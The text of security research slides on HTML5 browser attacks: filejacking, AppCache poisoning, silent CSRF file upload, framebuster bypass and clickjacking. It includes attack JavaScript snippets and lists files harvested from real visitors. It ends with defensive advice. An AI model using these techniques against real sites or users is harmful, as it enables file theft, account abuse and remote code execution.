Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfPrecisely
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
unit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxunit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxBkGupta21
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 

Dernier (20)

Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdf
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
unit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxunit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptx
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 

Something wicked this way comes - CONFidence

  • 1. Something wicked this way comes Krzysztof Kotowicz, SecuRing kkotowicz@securing.pl @kkotowicz
  • 2. Plan • HTML5 trickery • Filejacking • AppCache poisoning • Silent file upload • IFRAME sandbox aniframebuster • Don’t get framed! • Drag into • Drag out content extraction • Frame based login detection • Wrap-up 2
  • 4. Filejacking • HTML5 directory upload (Chrome only) <input type=file directory> • displays this ====> • JS gets read access to all files within chosen folder 4
  • 5. Filejacking Business plan • set up tempting webpage • overlay input (CSS) with • wait for clueless users • get files & upload them to your server 5
  • 8. Filejacking • How clueless users actually are? • http://kotowicz.net/wu running for ~13 mo • very limited exposure • only websec oriented visitors • 298 clients connected (217 IPs) • tons of interesting files 8
  • 9. Filejacking LOTS of these ------ > • Downloads/# BeNaughtyLive.com/ • Downloads/# GoLiveTrannies.com/ • BratSluts 11 12 04 Sasha Cane Red Tartan SchoolGirl XXX 720p WMV SEXORS.nzb • bitches/1300563524557.jpg 9
  • 10. Filejacking • websec staff! • but surely no private data? 10
  • 11. Filejacking • Wireless Assess points.txt • interesting network next to me.txt • onlinePasswords.txt • s/pw.txt • letter of authorization.pdf • Staff-<name,surname>.pdf • <name,surname> - resume.doc • PIT-37, <name,surname>.PITY2010NG • Deklaracja_VAT7_Luty_2011.pdf • Pricing-Recommendation_CR.xlsm.zip • but surely no clients data? 11
  • 12. Filejacking • sony reports/ • Faktura_numer_26_2011_ 0045_sonymusic.##.zip <company>.pdf • SecurityQA.SQL.Injection. • websec cred~ Results.v1.1.docx • security_users.sql.zip • SSOCrawlTest5.4.097.xml • !important - questions for • IPS CDE Wireless Audit- web developers.docx January 2011-1 0.docx • sslstrip.log~ • IPS Wireless Testing • ##### Paros Log.txt Schedule April 2011.xls • 01-####### Corporation (Security Unarmed So much for the Guard).xls NDAs... 12
  • 13. Filejacking + All your file are belong to me + Trivial to set up + Filter files by e.g. extension, size etc. - Chrome only - Requires users prone to social- engineering 13
  • 14. AppCache poisoning HTML5 Offline Web Applications <html manifest=cache.manifest> • cache.manifest lists URLs to cache • cache expires only when CACHE MANIFEST index.html manifest is changed stylesheet.css images/logo.png scripts/main.js 14
  • 15. AppCache poisoning • abuse to persist man-in-the-middle • manifest must be MIME text/cache-manifest • Chrome fills AppCache without user confirmation • two steps • poison AppCache while m-i-t-m • have payloads stay forever in cache 15
  • 16. AppCache poisoning • tamper http://victim/ <html manifest=/robots.txt> <script>evil()</script> • tamper http://victim/robots.txt CACHE MANIFEST CACHE: http://victim/ NETWORK: * 16
  • 17. AppCache poisoning Later on, after m-i-t-m: 1. http://victim/ fetched from AppCache 2. browser checks for new manifest GET /robots.txt 3. receives text/plain robots.txt & ignores it 4. tainted AppCache is still used 17
  • 18. AppCache poisoning + Poison any URL + Payload stays until manually removed - Chrome or Firefox with user interaction - Needs active man-in-the-middle https://github.com/koto/sslstrip 18
  • 19. Silent file upload • File upload purely in Javascript • Emulates <input type=file> with: • any file name • any file content • File constructed in Javascript (it’s not a real file!) • Uses Cross Origin Resource Sharing 19
  • 20. Silent file upload • Cross Origin Resource Sharing = cross domain AJAX http://attacker.com/ var xhr = new XMLHttpRequest();      xhr.open("POST", "http://victim", true); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.withCredentials = "true"; // send cookies xhr.send("Anything I want"); 20
  • 21. Silent file upload • raw multipart/form-data request function fileUpload(url, fileData, fileName) {    var boundary = "xxxxxxxxx",      xhr = new XMLHttpRequest();         xhr.open("POST", url, true);    xhr.withCredentials = "true";    xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); 21
  • 22. Silent file upload var b = " --" + boundary + 'rn Content-Disposition: form-data; name="contents"; filename="' + fileName + '"rn Content-Type: application/octet-streamrn rn ' + fileData + 'rn --' + boundary + '--'; xhr.setRequestHeader("Content-Length", b.length); xhr.send(b); 22
  • 23. Silent file upload + No user interaction + Works in most browsers + You can add more form fields - CSRF flaw needed - No access to response 23
  • 24. Silent file upload DEMO Flickr.com 24
  • 25. Silent file upload • GlassFish Enterprise Server 3.1. • CVE 2012-0550 by Roberto Suggi Liverani • //goo.gl/cOu1F logUrl = 'http://glassfishserver/ management/domain/applications/ application'; fileUpload(c,"maliciousarchive.war"); • logged admin + CSRF = RCE 25
  • 26. IFRAME sandbox aniframebuster • Used to embed untrusted content sandbox=" allow-same-origin allow-scripts allow-forms allow-top-navigation" • prevents JS execution in frame • prevents defacement • Facilitates clickjacking! 26
  • 28. IFRAME sandbox aniframebuster http://attacker.com <iframe sandbox=" allow-forms allow-scripts" src="//victim"></iframe> http://victim top.location = self.location // doesn’t work:( 28
  • 29. IFRAME sandbox aniframebuster + Chrome / Safari / IE 10 + Will disable most JS framebusters - X-Frame-Options 29
  • 31. Same origin policy • makes web (relatively) safe • restricts cross-origin communication • can be relaxed though • crossdomain.xml • document.domain • HTML5 Cross Origin Resource Sharing • or ignored... • UI redressing 31
  • 32. UI Redressing? Jedi mind tricks on victim users 32
  • 33. UI Redressing • This is not the page you’re looking at • This is not the thing you’re clicking • .................................................. dragging • .................................................. typing • .................................................. copying • Victims attack the applications for us 33
  • 34. Exploiting users //goo.gl/DgPpY 34
  • 35. Drag into • Put attackers content into victim form 35
  • 36. Drag into DEMO Alphabet Hero 36
  • 37. Drag into + Inject arbitrary content + Trigger self-XSS - Firefox only (will die soon!) - X-Frame-Options 37
  • 38. Drag out content extraction image image 38
  • 39. Drag out content extraction image victim <iframe> image 39
  • 40. Drag out content extraction image victim <iframe> textarea <textarea> 40
  • 41. Drag out content extraction <div id=game style="position:relative">   <img style="position:absolute;..." src="paper.png" />   <img style="position:absolute;..." src="trash.png" />       <iframe scrolling=no id=iframe style="position:absolute;opacity:0;..."> </iframe>    <textarea style="position:absolute; opacity:0;..." id=dropper></textarea> </div> 41
  • 42. Drag out content extraction 42
  • 43. Drag out content extraction 43
  • 44. Drag out content extraction + Access sensitive content cross domain - Firefox only (will die soon!) - X-Frame-Options 44
  • 45. Frame-based login detection • Are you now logged in to these websites? • facebook.com • amazon.com • a-banking-site.secure • Why should I care? • e.g. launch CSRF / other attacks 45
  • 46. Frame-based login detection • Previous work: • Cache timing, lcamtuf • Abusing HTTP Status Code, Mike Cardwell • Anchor Element Position Detection, Paul Stone <iframe src=// victim/#logout /> 46
  • 48. Frame-based login detection <iframe src="//victim/login"> //victim /login <input id=login> <script> document.getElementById('login').focus() </script>     48
  • 50. Summary • HTML5 is attacker’s friend too! • Don’t get framed • Users based pwnage FTW Developers: Use X-Frame-Options: DENY 50
  • 51. Wake up, I’m done! • html5sec.org • code.google.com/p/html5security • www.contextis.co.uk/research/white-papers/clickjacking • blog.kotowicz.net • github.com/koto Twitter: @kkotowicz kkotowicz@securing.pl Thanks @0x6D6172696F, @garethheyes, @theKos, @7a_, @lavakumark, @malerisch, @skeptic_fx, .... 51